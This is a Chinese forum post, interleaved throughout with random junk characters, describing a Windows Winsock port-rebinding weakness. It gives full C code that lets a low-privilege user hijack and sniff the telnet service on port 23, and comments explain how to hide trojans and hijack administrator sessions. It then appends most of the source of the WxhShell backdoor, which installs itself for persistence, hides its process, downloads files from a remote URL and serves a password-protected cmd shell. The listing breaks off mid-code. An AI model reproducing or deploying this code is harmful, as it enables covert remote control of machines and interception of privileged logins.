在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
FA 1E`AdU s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
SK2nxZOH [aM_.[bf saddr.sin_family = AF_INET;
auOYi<<>W 3nfw:. saddr.sin_addr.s_addr = htonl(INADDR_ANY);
@Q:5{? #u8|cs! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0-
GA,I_ (bfHxkR. 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%N\pfZ2\ ny:c&XS 这意味着什么?意味着可以进行如下的攻击:
&FrW(>2 fMjn8. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
h:QKd!Gq H \$04vkR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
'jp nQcwxx |CME:;{T 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
?}*A/-Hx0U !:Lb^C;/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
sY?pp
'}a \A`pF'50 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
fo])=KM $KL5Z#K 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&wj;: f `Q!|/B 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
wAE,mw .+XGbs]kCi #include
\m!swYy #include
D$k40Mz #include
J-lQPMI, #include
9NwA5TP9_ DWORD WINAPI ClientThread(LPVOID lpParam);
^n5[pF}Gw int main()
Tfc5R;Rw {
*JXiOs WORD wVersionRequested;
y4`<$gL DWORD ret;
X&._<2 WSADATA wsaData;
u/FnA-L4 BOOL val;
L{$ZL & SOCKADDR_IN saddr;
1
O+4A[cr SOCKADDR_IN scaddr;
jnFCtCB int err;
+r)'?zU SOCKET s;
zECdj'/ SOCKET sc;
.fxI) int caddsize;
rkA0v-N6v HANDLE mt;
6L~@jg~0A[ DWORD tid;
Y>-|`2Z
wVersionRequested = MAKEWORD( 2, 2 );
*&)<'6 err = WSAStartup( wVersionRequested, &wsaData );
0 1[LPN if ( err != 0 ) {
ywlN4= printf("error!WSAStartup failed!\n");
s)%RmsdL return -1;
'>[KVvm }
SymSAq0$F saddr.sin_family = AF_INET;
}x4,a6^ -!( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
<by}/lF0 #=R) s0j" saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
MGIpo[ saddr.sin_port = htons(23);
ann!"s_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
W#|]m=2W {
W5*%n]s~ printf("error!socket failed!\n");
zcItZP return -1;
Xg.'<.!g0 }
w[PWJ! < val = TRUE;
xd8UdQ,lt //SO_REUSEADDR选项就是可以实现端口重绑定的
H n+1I if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
ws5x53K {
)NZ6!3[@ printf("error!setsockopt failed!\n");
o9M[Zr1@k return -1;
*!UY;InanX }
phSF.WC //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
m`
cw: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
i](,s. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
hb9X<N+p u3kK!2cdP if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
)'\Jp
7*3 {
YKLh$ ret=GetLastError();
-yeQQ4b printf("error!bind failed!\n");
,.tT9?
m return -1;
49}yw3- }
qie7iE`o listen(s,2);
4vTO # F while(1)
` 1DJwe2 {
&oiX/UaY caddsize = sizeof(scaddr);
_:0<]<x? //接受连接请求
nL@
"FZ`( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#(h~l> r if(sc!=INVALID_SOCKET)
FCQoz"M {
H~1la V mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
6BVV2j)zl: if(mt==NULL)
&'Qz {
P]T(I/\g printf("Thread Creat Failed!\n");
qf+jfc(Iby break;
( gO ?-0 }
'Z'X`_ }
57IrD*{ CloseHandle(mt);
%@ $h?HP }
7CUu:6% closesocket(s);
'T7JXV5 WSACleanup();
O/gok+K return 0;
#h ;j2 }
#NNj# DWORD WINAPI ClientThread(LPVOID lpParam)
F/ 2@%,2n {
p+;Re2Uyg SOCKET ss = (SOCKET)lpParam;
1O45M/5\o SOCKET sc;
93x.b]]" unsigned char buf[4096];
:q~qRRmjBe SOCKADDR_IN saddr;
w(r$n|Ks9 long num;
w>; :mf DWORD val;
]l+Bg;F#V DWORD ret;
%9[GP7? //如果是隐藏端口应用的话,可以在此处加一些判断
)(*A1C[ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Y_>z"T saddr.sin_family = AF_INET;
8_>\A=
E
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
*]z.BZI: saddr.sin_port = htons(23);
G#5Cyu<r! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/`hr) {
V-A^9AAPm printf("error!socket failed!\n");
3{Ze>yFE return -1;
Y:^ =jV7 }
nen6!bw4 val = 100;
kR^7Z7+#* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
oHI~-{m3) {
pW:h\}%`n ret = GetLastError();
N$pwTyk return -1;
10}oaL S }
7zr\AgV9 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
w?C_LP {
`m3@mJ!>\ ret = GetLastError();
<Ml,H%F return -1;
VT3Zo%X x }
;07!^#:L=Q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
wuzz Wq {
P:lvZ printf("error!socket connect failed!\n");
s%GiM closesocket(sc);
H4l:L(!D closesocket(ss);
z$7YC49^ return -1;
:1_hQeq }
j`,;J[Zd`h while(1)
lUUq|Qr {
k%hD<_:p //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
P7egT,Z //如果是嗅探内容的话,可以再此处进行内容分析和记录
8S]Mf*~S' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
vR,HCI num = recv(ss,buf,4096,0);
yel>-=Vn if(num>0)
enG6T send(sc,buf,num,0);
pal))e!B else if(num==0)
N#7 ]xL break;
+ A0@#:B num = recv(sc,buf,4096,0);
4bAgbx-^ if(num>0)
V.y+u7<3} send(ss,buf,num,0);
V]q{N-Iq else if(num==0)
Ub3,x~V break;
`yQHPN0/ }
<ya'L& closesocket(ss);
!-N!80 closesocket(sc);
C{!Czz.N return 0 ;
K"}Dbr }
m9L+|r So`xd
*C! T^sxR4F ==========================================================
{_q2kk "*7I~.7U(* 下边附上一个代码,,WXhSHELL
DVB:8"Bu e. [+xOu` ==========================================================
\&TTe8 1c}'o*K_% #include "stdafx.h"
PU'v o4 fLD9RZ8_ #include <stdio.h>
vi5~ Rd` #include <string.h>
M2s #include <windows.h>
Xrz0ch #include <winsock2.h>
qS2%U?S7 #include <winsvc.h>
l w%fY{ #include <urlmon.h>
[;?^DAnK2 r p@= #pragma comment (lib, "Ws2_32.lib")
N$y4>g #pragma comment (lib, "urlmon.lib")
iEU(1?m2- /ZzlC#` #define MAX_USER 100 // 最大客户端连接数
26Yg?:kP #define BUF_SOCK 200 // sock buffer
1B1d>V$* #define KEY_BUFF 255 // 输入 buffer
plf<O5' 5=?&q 'i #define REBOOT 0 // 重启
mD=?C #define SHUTDOWN 1 // 关机
VKs\b-1 t%TZu>(1O #define DEF_PORT 5000 // 监听端口
7q\c\qL nuC K7X #define REG_LEN 16 // 注册表键长度
t{7l.>kf #define SVC_LEN 80 // NT服务名长度
l,X;<&-[ m_Rgv.gE^ // 从dll定义API
h)<R#xw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
E$1^}RGT) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#>,cc?H- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
RhJ<<T.2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
/F4:1
} ko:I.6- K // wxhshell配置信息
2tbqmWw/s struct WSCFG {
QB.7n&u int ws_port; // 监听端口
B@=Yj_s char ws_passstr[REG_LEN]; // 口令
oby*.61?5l int ws_autoins; // 安装标记, 1=yes 0=no
;CvGIp&y char ws_regname[REG_LEN]; // 注册表键名
J~}UG]j n char ws_svcname[REG_LEN]; // 服务名
FjydEV char ws_svcdisp[SVC_LEN]; // 服务显示名
68!]q(!6F char ws_svcdesc[SVC_LEN]; // 服务描述信息
U=t'>;(g char ws_passmsg[SVC_LEN]; // 密码输入提示信息
D#$gdjZ int ws_downexe; // 下载执行标记, 1=yes 0=no
3K{8sFDO char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
G!~BA* char ws_filenam[SVC_LEN]; // 下载后保存的文件名
U\
L"\N 7 4sAshrUf };
IN"vi|1 #.><A8J // default Wxhshell configuration
Om^/tp\ struct WSCFG wscfg={DEF_PORT,
w*
I+~o- "xuhuanlingzhe",
7X|r';"?i
1,
H94.E|Q\+ "Wxhshell",
S3_4i;K\ "Wxhshell",
cDx^}N! "WxhShell Service",
br;G5^j3? "Wrsky Windows CmdShell Service",
J
v#^GNm "Please Input Your Password: ",
:qbG%_PJ 1,
wgyO% "
http://www.wrsky.com/wxhshell.exe",
| rvr Sab) "Wxhshell.exe"
2tv40(M:< };
9PJDT] *p3P\ H^5 // 消息定义模块
["F,|e{y$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>S!DIL char *msg_ws_prompt="\n\r? for help\n\r#>";
/ZDc=>)~ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
eqR#` char *msg_ws_ext="\n\rExit.";
/RM-+D:Y char *msg_ws_end="\n\rQuit.";
(HI%C@e9 char *msg_ws_boot="\n\rReboot...";
k~#|8eLv char *msg_ws_poff="\n\rShutdown...";
]KeNC)R char *msg_ws_down="\n\rSave to ";
[Mz;:/ S:YL<_oI| char *msg_ws_err="\n\rErr!";
CiuN26> char *msg_ws_ok="\n\rOK!";
!cb#fl ak>NKK8P char ExeFile[MAX_PATH];
fYy.>m+P1 int nUser = 0;
Z-|C{1}A HANDLE handles[MAX_USER];
)0mDN. int OsIsNt;
p]&Q`oh .@Uz/j?> SERVICE_STATUS serviceStatus;
[QbXj0en$ SERVICE_STATUS_HANDLE hServiceStatusHandle;
h*UUtLi%WU \NU[DHrMP // 函数声明
f'O vG@ int Install(void);
3.X0!M;x int Uninstall(void);
>e;STU int DownloadFile(char *sURL, SOCKET wsh);
# &83;uys int Boot(int flag);
od1omYsR void HideProc(void);
df*#?Ok int GetOsVer(void);
V^I/nuy int Wxhshell(SOCKET wsl);
v4_OUA>z, void TalkWithClient(void *cs);
f9UaAdJ( int CmdShell(SOCKET sock);
#<Nvy9 int StartFromService(void);
K<6x4ha int StartWxhshell(LPSTR lpCmdLine);
k!=GNRRZE g@i>R> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VtiqAh}4 VOID WINAPI NTServiceHandler( DWORD fdwControl );
"GI&S% F |HGb.^f? // 数据结构和表定义
rJZs
5g` SERVICE_TABLE_ENTRY DispatchTable[] =
>x
ghq {
9}cuAVI {wscfg.ws_svcname, NTServiceMain},
4V|z)=)A {NULL, NULL}
nFnF_ };
R.IUBw5;/ ll\^9
4]Q // 自我安装
FJ~_0E#L int Install(void)
NK9WrUj) {
@:+n6 char svExeFile[MAX_PATH];
KM}4^Qc HKEY key;
b+].Uc strcpy(svExeFile,ExeFile);
c4>sE[] S~Iw?SK3 // 如果是win9x系统,修改注册表设为自启动
#oJbrh9J6 if(!OsIsNt) {
>xV<nLf/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B9IXa; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!Vr45l RegCloseKey(key);
R``VQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ix7
e])m( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xSDE6] RegCloseKey(key);
L\Fu']l return 0;
M=[q+A }
S2ppKlVv }
fE%[j?[ }
B_"OA3d_ else {
i\Pr3
7
" m/hi~.D9 // 如果是NT以上系统,安装为系统服务
6+$d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#EmffVtY if (schSCManager!=0)
OKZam ik~ {
W]D`f8r9 SC_HANDLE schService = CreateService
qSoBj&6y (
a|P~LMPM schSCManager,
A_jB|<bjTP wscfg.ws_svcname,
Naf`hE9 wscfg.ws_svcdisp,
AZy~Q9Kc SERVICE_ALL_ACCESS,
a\&(Ua SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Xh0wWU* SERVICE_AUTO_START,
qBBYckS. SERVICE_ERROR_NORMAL,
\_gp50(3 svExeFile,
hr<7l
C NULL,
%<wQ NULL,
loeLj4"" NULL,
zY+t ,2z NULL,
=tS[&6/ NULL
xS~yH[k );
lbKv if (schService!=0)
RD6h=n4B {
tB ,. CloseServiceHandle(schService);
mo|PrLV CloseServiceHandle(schSCManager);
Qh|-a@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
m0I # strcat(svExeFile,wscfg.ws_svcname);
CRc!|? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
^<>Jw%H RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Ez/\bE RegCloseKey(key);
}_a+X return 0;
6+Wr6'kuH }
vZ[$H }
^A *]&%(h CloseServiceHandle(schSCManager);
Q{qj }
@ate49W }
BrNG%%n ~T>jBYI0 return 1;
W>`g;[ W }
{?EEIfg z-KrQx2
// 自我卸载
e;A^.\SP int Uninstall(void)
>/TB_ykb {
(
}]37 HKEY key;
<qbZG}u $6:XsrV\a if(!OsIsNt) {
Y )u_nn'[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
93Mdp9v+i RegDeleteValue(key,wscfg.ws_regname);
g.[+yzuE6 RegCloseKey(key);
!lQ#sL` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u<l#xud RegDeleteValue(key,wscfg.ws_regname);
.k# N7[q= RegCloseKey(key);
Lnh':7FQJx return 0;
oupJJDpP }
CrnB{Z4L }
T&9`?QD }
P]pmt1a else {
8 A2if9E3 m>]>$=% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
_MM if (schSCManager!=0)
gB(9vhj$ {
!Oeq
G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*'Z-OY<V if (schService!=0)
Bz~ -2#l {
5a=nF9/ if(DeleteService(schService)!=0) {
7*zB*"B'1t CloseServiceHandle(schService);
#V<`U:. CloseServiceHandle(schSCManager);
kx|me~I
return 0;
q{a#HnZo" }
iKg75%;t CloseServiceHandle(schService);
]UK`?J=t2g }
%
2I CloseServiceHandle(schSCManager);
sS
C?io }
E9^(0\Z
I }
0(wf{5 >HE,' return 1;
i4 hJE }
0;}Aj8Fle O
x{Q.l // 从指定url下载文件
bX7EO 8 int DownloadFile(char *sURL, SOCKET wsh)
:FnOS<_B {
BRe{1i 6 HRESULT hr;
-r!42`S char seps[]= "/";
]} '^` char *token;
Q`N18I3 char *file;
\0D$Mie char myURL[MAX_PATH];
DYX-5~;! char myFILE[MAX_PATH];
=KV@&Y^x4 0[.3Es:_ strcpy(myURL,sURL);
_HwpPRVP/ token=strtok(myURL,seps);
xFOBF") while(token!=NULL)
])C>\@c6Gm {
G OpjRA@ file=token;
@\ }sb] token=strtok(NULL,seps);
T$u~E1 }
Y =9j2 ]t <_t5:3HL GetCurrentDirectory(MAX_PATH,myFILE);
?gLAWz strcat(myFILE, "\\");
N3ZiGD strcat(myFILE, file);
l1}R2lSEO send(wsh,myFILE,strlen(myFILE),0);
K<#-"Xe; send(wsh,"...",3,0);
58J_ w X hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
.?f:Nb.O if(hr==S_OK)
^+M><jE9 return 0;
u)7*Rj^ else
`0?^[;[u[ return 1;
$R"; C,.-Q"juH }
$:e)$Xnn- h`lmC]X_ // 系统电源模块
QTYYghz int Boot(int flag)
lj*8mS/;h {
K}Na3}m HANDLE hToken;
YxJ`-6 TOKEN_PRIVILEGES tkp;
_-/x;C o_O+u%y if(OsIsNt) {
k Q~ %=pn OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
a!D*)z Y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
(`pNXQ0n tkp.PrivilegeCount = 1;
V}SyD(8~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
!y%+GwoW AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
izf~w^/ if(flag==REBOOT) {
"7d.i(vw if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
PPj[;(A return 0;
EI\v }
H UkerV else {
<raG07{!* if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
b_l3+'#ofM return 0;
Mn@$;\: }
Af9+HI
O }
6JH56 else {
uB;_vC if(flag==REBOOT) {
q &
b5g ! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
+0"x|$f~ return 0;
6- ]h5L] }
8R}K?+] else {
4uUs7T if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
U(~U!O} return 0;
sT`^ljp4 }
g4wZvra6%) }
30_ckMG"g `
8UWE { return 1;
%b=p< h'( }
)* TF" Sl>>SP // win9x进程隐藏模块
c
0-w6 void HideProc(void)
?'sXgo.} {
Yj|]Uff8O nJT4w|Yx HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
<uD qYT$6 if ( hKernel != NULL )
@Tr&`Hi {
^.vmF>$+I pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
NR4Jn?l{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
/K|:9Q$K6 FreeLibrary(hKernel);
Jq
.L:>x
}
{155b0 CCqT tp return;
JMlV@t7y< }
:#$F)]y'\ //.>>-~1m // 获取操作系统版本
-;pOh;WG int GetOsVer(void)
?z=\Ye5x {
y94kX:q OSVERSIONINFO winfo;
tg 85: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
(Z-l/)Q GetVersionEx(&winfo);
xU}M;4kH~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
YH\j@^n return 1;
3.vgukkk5 else
vZkXt!%) return 0;
m xJXL":| }
B4yh3cf L.B~ax.|Z // 客户端句柄模块
>F3.c%VU]w int Wxhshell(SOCKET wsl)
vM`~)rO@! {
T?npQA07= SOCKET wsh;
f=`33m5 struct sockaddr_in client;
6GINmkA DWORD myID;
M35Ax],:^ jN/ j\x' while(nUser<MAX_USER)
6)[<)?A.[ {
ZHkw6@| int nSize=sizeof(client);
V1<`%=%_W wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
!/hsJ9 if(wsh==INVALID_SOCKET) return 1;
2o5;Uz1{ l,d, T handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
v01#>,R if(handles[nUser]==0)
:a3xvN-l closesocket(wsh);
S "
pI else
-9o{vmB{ nUser++;
s@!$='| }
w sY}JT WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
};S0 G! 'fY9a(Xt. return 0;
NL!9U,h5| }
js <Ww$zFW C;qMw-*F // 关闭 socket
YV([2 void CloseIt(SOCKET wsh)
)`?%]D {
zY%. Rq- closesocket(wsh);
tcL2J . nUser--;
ebM{OI ExitThread(0);
kso*} uh0 }
{p/YCch, fgCT!s7z // 客户端请求句柄
$s gH'/> void TalkWithClient(void *cs)
J(iV0LAZb {
G]*|H0j .\)A@ua^ SOCKET wsh=(SOCKET)cs;
"s_Z& char pwd[SVC_LEN];
Q`6i =mB; char cmd[KEY_BUFF];
bd \=h1 char chr[1];
@8gEH+r int i,j;
g.C5r]=+& 3!#/k+,C while (nUser < MAX_USER) {
3-x%wD. `}8&E(< if(wscfg.ws_passstr) {
|t6~%6^8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
PRr*]$\&Mj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-=5)NH
t //ZeroMemory(pwd,KEY_BUFF);
GdA.g
w i=0;
`ROG~0lN( while(i<SVC_LEN) {
&drFQ| lLiQ ;@ // 设置超时
rt!r2dq" fd_set FdRead;
l(:kfR~AC struct timeval TimeOut;
)[&zCqDc FD_ZERO(&FdRead);
$p$dKH FD_SET(wsh,&FdRead);
f/ahwz TimeOut.tv_sec=8;
e7k%6'@ TimeOut.tv_usec=0;
ClQe4uo{ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
<P4FzK if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
oU+F3b}5p Ly #_?\bn if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
GozPvR^/ pwd
=chr[0]; 7%d8D>uw8
if(chr[0]==0xd || chr[0]==0xa) { o"q+,"QL
pwd=0; \l,rpVv5m
break; V|FrN*m
} p/olCmHD)
i++;
f[jNwb
} >l5u54^3K
x;#zs64f
// 如果是非法用户,关闭 socket 1}g:|Q
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~5OL6Bi-q
} {IM! Wb
|b.z*G
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1>pe&n/
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tP(h9|[N
0(\+-<
while(1) { pJ^NA2
qVgd(?hJ#
ZeroMemory(cmd,KEY_BUFF); K-Mc6
s~L</Xvo
// 自动支持客户端 telnet标准 X0$@Ik
j=0; 6mPm=I[oh
while(j<KEY_BUFF) { b"CAKl
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NiSO'=y$n
cmd[j]=chr[0]; +4)7j&L
if(chr[0]==0xa || chr[0]==0xd) { |g&ymFc
cmd[j]=0; _8fA?q=
break; HuI`#.MpWE
} 0b-?q&*_
j++; W!la -n
} \caH pof
kfrY1
// 下载文件 uzU{z;
if(strstr(cmd,"http://")) { <"tDAx
send(wsh,msg_ws_down,strlen(msg_ws_down),0); I.jZ
wW!r
if(DownloadFile(cmd,wsh)) ?S[Y:<R{:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wWjG
JvJ
else #1/}3+=5B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q{' ~+Nq
} -n))*.V
else { ?dq#e9
B!S 167Op
switch(cmd[0]) { W`)<vGn=Y
_GA$6#]
// 帮助 +RDJY(Y$
case '?': { Z S|WnMH
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +wfVL|.Wq
break; l|"6yB |
} 7 &%^>PU7
// 安装 I0Ia6w9
case 'i': { TkRP3_b
if(Install()) xBM>u,0.F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fg*@<'
else +]wuJSxc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x_<qzlQt
break; CboLH0Fa
} 5LW}h^N
// 卸载 \=e8%.#@J
case 'r': { +}kgQ^
if(Uninstall()) J7$_VP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;`j/D@H
else 4YROB912
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ol@_(U
break; aMuVqZw
} DDd/DAkCX
// 显示 wxhshell 所在路径 (/{aJV
case 'p': { kuMKX`_
char svExeFile[MAX_PATH]; vzo4g,Bj
strcpy(svExeFile,"\n\r"); CXaWgxlK:a
strcat(svExeFile,ExeFile); KG9t3<-`
send(wsh,svExeFile,strlen(svExeFile),0); R)8s
break; zqySm)o]
} |zsbW9
W*m
// 重启 ?+C V1 ]
case 'b': { &9[P-w;7u
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PX
O!t]*
if(Boot(REBOOT)) 4`v!Z#e/aX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]ya; v '
else { %:9oDK
closesocket(wsh); ^rAa"p 9
ExitThread(0); &l2TeC@;
} +%*&.@z_
break; H=c`&N7E
} #J\rv'
// 关机 _S?qDG{E|
case 'd': { J
m{
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cNK)5-
U
if(Boot(SHUTDOWN)) s95F#>dr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]/2T\w.<
else { vsyWm.E
closesocket(wsh); $K}DB N; 4
ExitThread(0); n.6T
OF
} l$Gl'R>>*
break; pHE}ytcT
} C"uahP[Y
// 获取shell 0HeD{TH\
case 's': { [3/VCYje
CmdShell(wsh); P.\nLE J=
closesocket(wsh); cD}Sf>
ExitThread(0); o @Z#
break; P87#
CAN
} /%rq
hHs
// 退出 r|<DqTc6l
case 'x': { jQs>`P-CM
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b0<o
CloseIt(wsh); s<QkDERMX
break; q?j|K|%
} .giz=*q+
// 离开 p]G3)s@>
case 'q': { q1VH5'p@
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q\Kx"Y3i
closesocket(wsh); Gctsp2ndW
WSACleanup(); "h"NW[R
exit(1); -1|iz2^N
break; \[:/CxP
} < B g8,;
} V\5 L?}
} E; Y;r"
{r85l\u)Q\
// 提示信息 h11.'Eej`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); njPPztv/@
} ?
zDa=7 J
} "B7`'jz
v;1F[?@3Y
return; t~7V{ xk
} KDP H6
w(d>HHg
// shell模块句柄 tAu4haa4;
int CmdShell(SOCKET sock) _Xcn
N:Rt
{ N5zlT
STARTUPINFO si; GwU?wIIj^
ZeroMemory(&si,sizeof(si)); E6B!+s!]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &^&zR(o`
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d@C&+#QDF
PROCESS_INFORMATION ProcessInfo; RJeDEYXeg
char cmdline[]="cmd"; ef! XV7P
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q%>'4_
return 0; y@V_g'
} {svn=H
/
$
<8~k^
// 自身启动模式 F^$led1/F
int StartFromService(void) -Y 9SngxM
{ !5@_j,lW(
typedef struct *u6Y8IL1
{ =DbY? Q<Q
DWORD ExitStatus; i+3fhV
DWORD PebBaseAddress; G2{O9
DWORD AffinityMask; -Ng'<7
DWORD BasePriority; C#V ~Y
ULONG UniqueProcessId; q"qo.TPh|$
ULONG InheritedFromUniqueProcessId; "L&'Fd@ZU
